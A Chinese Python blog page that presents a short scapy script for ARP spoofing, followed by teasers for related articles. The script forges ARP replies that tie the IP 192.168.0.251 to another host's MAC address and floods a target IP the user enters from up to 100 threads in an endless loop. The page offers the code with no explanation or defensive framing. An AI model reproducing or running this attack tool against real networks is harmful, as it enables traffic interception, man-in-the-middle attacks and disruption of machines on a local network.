python发送arp欺骗攻击代码分析

yipeiwu_com6年前Python基础

复制代码 代码如下:

# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)

if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')

    Main(ip = ip).start()

相关文章

编写Python脚本使得web页面上的代码高亮显示

做了一个在线代码高亮的项目,强大的Python一如既往没让我失望,一个强大的Pygments模块可以对多种(很多)语言进行代码高亮 下面来介绍一下它: 首先安装很简单,使用easy_in...

Python计算开方、立方、圆周率,精确到小数点后任意位的方法

Python计算开方、立方、圆周率,精确到小数点后任意位的方法

Python计算的位数 在电脑上做了一个实验,看看python能计算到多少位,一下是结果。 x = math.sqrt((3)) print ("%.53f"%(x)) print...

Pytorch 实现数据集自定义读取

以读取VOC2012语义分割数据集为例,具体见代码注释: VocDataset.py from PIL import Image import torch import torch....

Django中自定义模型管理器(Manager)及方法

1.自定义管理器(Manager) 在语句Book.objects.all()中, objects 是一个特殊的属性,通过它来查询数据库,它就是模型的一个Manager. 每...

qpython3 读取安卓lastpass Cookies

之前我的博客写了python读取windows chrome Cookies,沿着同样的思路,这次本来想尝试读取安卓chrome Cookies, 但是可能是chrome的sqlite3...